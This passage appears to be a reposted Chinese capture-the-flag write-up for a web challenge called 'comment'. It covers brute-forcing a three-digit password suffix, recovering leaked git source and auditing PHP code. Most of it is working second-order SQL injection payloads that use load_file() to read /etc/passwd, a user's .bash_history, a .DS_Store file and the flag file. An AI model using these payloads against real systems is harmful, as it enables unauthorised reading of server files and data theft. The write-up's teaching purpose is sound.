zoukankan      html  css  js  c++  java
  • comment

    comment

    前言

    本文涉及知识点:git恢复 ,密码爆破,二次注入,代码审计,/etc/passwd文件,.bash_history文件,.DS_Store文件

    参考wp1 ,wp2

    做题

    进去题目页面,只有个发帖,然后点击进去,跳转到login.php,fuzz发现这里没有sql注入漏洞,根据密码提示,猜测密码后三位可能是数字,写个脚本

    flag=''
    for i in range(0,10):
        for j in range(0,10):
            for k in range(0,10):
                    flag=str(i)+str(j)+str(k)
                    print(flag)
                    flag=''
    

    得到3位数的字典,然后爆破,密码后三位是666,登录进去,然后f12,根据提示涉及到git,可能是git泄露,dirsearch扫一下,发现果然有git泄露,githack一下,得到源码,但是得到源码不完整,需要git恢复

    如何判断是否可以恢复?

    看是否有commit文件,如果没有,则需要恢复,像这题:


    题目提示我们没有commit,即需要git恢复。

    恢复命令

    git log --reflog

    git恢复之后,得到源码

    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        $category = addslashes($_POST['category']);
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql = "insert into board
                set category = '$category',
                    title = '$title',
                    content = '$content'";
        $result = mysql_query($sql);
        header("Location: ./index.php");
        break;
    case 'comment':
        $bo_id = addslashes($_POST['bo_id']);
        $sql = "select category from board where id='$bo_id'";
        $result = mysql_query($sql);
        $num = mysql_num_rows($result);
        if($num>0){
        $category = mysql_fetch_array($result)['category'];
        $content = addslashes($_POST['content']);
        $sql = "insert into comment
                set category = '$category',			   
                    content = '$content',      
                    bo_id = '$bo_id'";											
        $result = mysql_query($sql);
        }
        header("Location: ./comment.php?id=$bo_id");
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>
    

    审计代码发现,write部分三个参数都进行函数过滤,comment部分对content,bo_id进行了函数过滤,但是没有对category过滤,直接取出category参数,然后进行insert插入,显然存在sql二次注入

    payload

    1',content=database(),/*


    提交后在留言处输入*/#


    我们再构造

    1',content=user(),/*


    root用户,那么用load_file()来查看敏感文件

    先读取系统用户和用户的路径/etc/passwd

    1',content=(select(load_file("/etc/passwd"))),/*


    最后一行www用户,主目录为/home/www,使用的shell是bash

    .bash_history文件:保存了当前用户使用过的历史命令


    1',content=(select (load_file('/home/www/.bash_history'))),/*
    


    顺序从上往下看,但unzip时会在当前目录下生成html目录,cp会将html目录复制到/var/www/下,然后将.DS_Store文件删除了

    查了下

    • .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件
    • 目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择
    • 通过.DS_Store可以知道这个目录里面所有文件的清单。

    查看.DS_Store文件,

    1', content=(select (load_file('/tmp/html/.DS_Store'))),/*
    


    不能完全显示,可能文件太大了,用hex编码显示试试

    1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
    

    得到hex编码,再转换


    读取flag所在的php文件

    1',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
    

    发现flag没用,是个假的,在/var/www/html下也有个复制过来的存放flag的文件

    1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
    

    拿到flag

    comment.php

    <?php
    include "mysql.php";
        $id = addslashes($_GET['id']);
        $sql = "select * from board where id='$id'";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        $title = $row['title'];
        $content = $row['content'];
    ?>
      <?php
        $sql = "select * from comment where bo_id='$id'";
        $result = mysql_query($sql);
        $num = mysql_num_rows($result);
        if($num>0){
        while($row= mysql_fetch_array($result)){
        echo '<div class="form-group">';
        echo '<label class="col-sm-2 control-label">留言</label>';
        echo '<div class="col-sm-5">';
        echo "<p>$row[content]</p>";
        echo '</div>';
        echo '</div>';
        }
        }
    
    ?>
    
  • 相关阅读:
    python os.stat() 和 stat模块详解
    Python中datetime库的用法
    js中Array的map()函数,其中的回调函数还能这么用
    通常用于返回值的三目运算符
    浏览器渲染页面的时候,不同的script块之间的关系
    模板字面量
    let和const
    js 数组 map方法
    一些常用的js循环,如for
    session
  • 原文地址:https://www.cnblogs.com/NineOne/p/14002341.html
Copyright © 2011-2022 走看看